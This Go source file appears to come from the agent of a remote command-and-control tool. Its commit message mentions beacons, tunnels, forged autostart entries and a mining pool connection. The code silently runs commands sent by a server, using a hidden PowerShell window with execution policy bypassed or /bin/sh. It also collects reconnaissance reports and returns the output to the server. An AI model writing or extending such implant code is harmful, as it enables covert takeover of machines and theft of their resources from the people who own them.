5fc601b564
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
48 lines
1.3 KiB
Go
48 lines
1.3 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"os/exec"
|
|
"runtime"
|
|
)
|
|
|
|
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
|
|
if runtime.GOOS == "windows" {
|
|
return silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", command)
|
|
}
|
|
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
|
}
|
|
|
|
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
|
|
if runtime.GOOS == "windows" {
|
|
return silentCombinedOutput("cmd.exe", "/C", command)
|
|
}
|
|
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
|
}
|
|
|
|
func (c *AgentClient) handleReconCommand(action, command string) bool {
|
|
if action == "connectivity_probe" {
|
|
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
|
|
b, _ := json.Marshal(probe)
|
|
c.sendCommandResult(action, true, string(b))
|
|
return true
|
|
}
|
|
if action == "full_sys_check" {
|
|
report := CollectFullSysCheck(c.cfg, c.agentID)
|
|
c.sendCommandResult(action, true, report.JSON())
|
|
return true
|
|
}
|
|
|
|
handled, success, msg := c.platformRecon(action, command)
|
|
if !handled {
|
|
return false
|
|
}
|
|
c.sendCommandResult(action, success, msg)
|
|
return true
|
|
}
|
|
|
|
func formatCmdErr(err error, out []byte) string {
|
|
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
|
|
}
|